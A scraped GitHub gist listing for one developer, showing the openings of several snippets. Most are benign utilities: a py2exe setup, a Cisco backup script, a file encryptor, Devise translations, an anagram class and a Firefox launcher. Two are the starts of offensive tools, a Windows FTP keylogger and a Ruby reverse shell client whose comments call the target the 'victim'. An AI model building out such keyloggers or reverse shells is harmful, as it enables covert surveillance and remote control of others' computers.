Skip to content

Instantly share code, notes, and snippets.

View AlexAvlonitis's full-sized avatar
👾

Alex Avlonitis AlexAvlonitis

👾
View GitHub Profile
@AlexAvlonitis
AlexAvlonitis / Keylogger.py
Last active June 18, 2022 11:50
Simple FTP Python Keylogger
# https://github.com/alexavlonitis
# Simple ftp keylogger for Windows
from ftplib import FTP
import win32api
import sys
import pythoncom, pyHook
import os
import datetime, time
import socket
@AlexAvlonitis
AlexAvlonitis / py2exe.py
Created August 12, 2014 10:41
Single Windows executable from a Python script
from distutils.core import setup
import py2exe, sys, os
sys.argv.append('py2exe')
setup(
options = {'py2exe': {'bundle_files': 1, 'compressed': True}},
windows = [{'script': "test.py"}],
zipfile = None,
)
@AlexAvlonitis
AlexAvlonitis / PublicIP.py
Last active August 29, 2015 14:05
Dynamic public ip address finder
"""
Public IP finder project v1.0 by Alex Avlonitis http://alex.avlonitis.me
"""
import urllib
import re
import os
import smtplib
#######SMTP CONFIGURATION#######
def emails():
@AlexAvlonitis
AlexAvlonitis / cisco_backup.pl
Last active April 18, 2020 23:46
Auto backup cisco switches
# https://github.com/alexavlonitis
# to use this script run perl cisco_backup.pl "cisco enable password" #
use Net::SSH2;
use Net::Telnet::Cisco;
use warnings;
use strict;
my $user = "username"; #username of your switches
my $password = $ARGV[0]; #argument for the password
@AlexAvlonitis
AlexAvlonitis / cryptoknight.rb
Last active March 31, 2021 20:45
Encrypt files with Ruby and OpenSSL
# Ruby script encrypts files with OpenSSL
# https://github.com/alexavlonitis
i = 1
while i != 0 do
puts "---MENU---"
puts "(1) to Encrypt"
puts "(2) to Decrypt"
puts "(3) to Exit"
print ": "
@AlexAvlonitis
AlexAvlonitis / 1 Gist conventions
Created October 19, 2016 18:03 — forked from PavloBezpalov/1 Gist conventions
Deploy Rails 5.0.0.beta3 to VPS(Ubuntu 14.04.4 LTS). Nginx, Puma, Capistrano3, PostgreSQL, RVM.
<<APP>> change this variables
# Additional translations at https://github.com/plataformatec/devise/wiki/I18n
el:
devise:
confirmations:
confirmed: 'Ο λογαριασμός σας επιβεβαιώθηκε με επιτυχία.'
send_instructions: 'Σε λίγα λεπτά θα λάβετε οδηγίες για το πώς θα επιβεβαιώσετε το email σας.'
send_paranoid_instructions: 'Αν το email σας υπάρχει στη βάση δεδομένων μας, θα λάβετε email με οδηγίες για την επιβεβαίωση του λογαριασμού σας.'
failure:
already_authenticated: 'Είστε ήδη συνδεδεμένος.'
class Anagram
attr_reader :results
def initialize(word_list)
file = File.open(word_list).read
@words_hash_map = {}
@words_array = []
@results = {}
@AlexAvlonitis
AlexAvlonitis / client.rb
Created July 30, 2019 09:16
Reverse shell in ruby
# https://github.com/AlexAvlonitis/
# Run: ruby client.rb, connects to server and awaits commands, aka victim
require 'socket'
require 'open3'
class Client
HOSTNAME = 'localhost'
PORT = 2000
@AlexAvlonitis
AlexAvlonitis / firefox.desktop
Last active August 29, 2019 12:21
How to install firefox developer edition and create a desktop entry (launcher icon) - 2019 Ubuntu
[Desktop Entry]
Encoding=UTF-8
Name=Mozilla Firefox
GenericName=Web Browser
Comment=Browse the Web
Exec=firefox %u
Icon=/home/your_username/opt/firefox/browser/chrome/icons/default/default128.png
Terminal=false
Type=Application
StartupWMClass=Firefox Developer Edition